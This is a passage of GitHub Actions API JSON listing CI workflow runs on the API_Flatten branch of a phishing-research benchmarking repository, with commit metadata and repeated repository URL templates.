hing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287367688,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzY3Njg4","head_branch":"API_Flatten","head_sha":"151e404c37f8e215dcbff51610120fa8f4b0e909","run_number":1062,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1285349718,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MzQ5NzE4","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287367688","pull_requests":[],"created_at":"2020-10-04T03:32:40Z","updated_at":"2020-10-04T03:48:09Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285349718","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287367688/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"151e404c37f8e215dcbff51610120fa8f4b0e909","tree_id":"366c7a9c966876764796bacb8475fae8a9e59a38","message":"Unified extract_train_features","timestamp":"2020-10-04T03:32:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287358340,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzU4MzQw","head_branch":"API_Flatten","head_sha":"0e5e40548d746086d5c0d1f32fee8fe45bfc1561","run_number":1061,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285333349,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1MzMzMzQ5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287358340","pull_requests":[],"created_at":"2020-10-04T03:22:19Z","updated_at":"2020-10-04T03:37:18Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285333349","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287358340/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"0e5e40548d746086d5c0d1f32fee8fe45bfc1561","tree_id":"11eff725a4b3427492ff66e47acb584d9aaa4c2b","message":"Converted extract_email_test_features","timestamp":"2020-10-04T03:22:13Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287337096,"node_id":"MDExOldvcmtmbG93UnVuMjg3MzM3MDk2","head_branch":"API_Flatten","head_sha":"e69f3c7288c742a3edc3ccc89c9a2e67e1197bc5","run_number":1060,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285297615,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1Mjk3NjE1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287337096","pull_requests":[],"created_at":"2020-10-04T03:01:50Z","updated_at":"2020-10-04T03:14:53Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285297615","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287337096/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"e69f3c7288c742a3edc3ccc89c9a2e67e1197bc5","tree_id":"e9efdde611299f55c9d8981a16179dd9e7fee4f9","message":"Aligned extract_email_train_features and extract_url_train_features","timestamp":"2020-10-04T03:01:41Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/